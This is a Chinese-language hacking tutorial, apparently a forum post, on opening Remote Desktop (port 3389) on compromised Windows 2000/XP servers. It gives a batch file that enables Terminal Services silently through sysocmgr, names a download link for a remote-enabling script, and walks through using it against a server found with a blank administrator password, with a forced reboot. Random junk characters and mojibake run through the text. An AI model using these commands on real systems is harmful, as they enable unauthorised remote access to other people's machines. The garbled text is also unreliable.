[hide=60] 1.打开记事本,编辑内容如下:
a j@C0 echo [Components] > c:\sql
Ih-3t*L echo TSEnable = on >> c:\sql
3aE[F f[ sysocmgr /i:c:\winnt\inf\sysoc.inf /u:c:\sql /q
[[?[? V , 编辑好后存为BAT文件,上传至肉鸡,执行。这里值得注意的是要确定winnt是否在c盘,如果在其他盘则需要改动。
L>~@9a\jO cbu nq" 2 (对xp\2000都有效) 脚本文件 本地开3389 工具:rots1.05
NM1cyZ 地址:
www.netsill.com/rots.zip h%1~v$W` 使用方法:
6a%:zgkOpu 在命令行方式下使用windows自带的脚本宿主程序cscript.exe调用脚本,例如:
#7~tL23}] J|"nwY}a9 c:\>cscript ROTS.vbs <目标IP> <用户名> <密码> [服务端口] [自动重起选项]
ZO%fS'n 3KZ
y
H 服务端口: 设置终端服务的服务端口。默认是3389。
wj#J>C2] 自动重起选项: 使用/r表示安装完成后自动重起目标使设置生效。
*qO]v9 j 使用/fr表示强制重起目标。(如果/r不行,可以允哉飧觯?BR>使用此参数时,端口设置不能忽略。
qJX+[PJ 比如扫描到了一个有NT弱口令的服务器,IP地址是222.222.222.222,管理员帐户是administrator,密码为空
+Y5(hjE 运行CMD(2000下的DOS),我们给它开终端!
uhTKCR~ 命令如下!
KcmDF4C2 cscript reg.vbe 222.222.222.222 administrator "" 3389 /fr
8_<&f%/ 上面的命令应该可以理解吧?cscript reg.vbe这是命令,后面的是IP,然后是管理员帐户,接这是密码,因为222.222.222.222 这台服务器的管理员密码是空的,那就用双引号表示为空,再后面是端口,你可以任意设置终端的端口,/fr是重启命令(强制重启,一般我都用这个,你也可以 /r,这是普通重启)
X"TUe>cM J)$&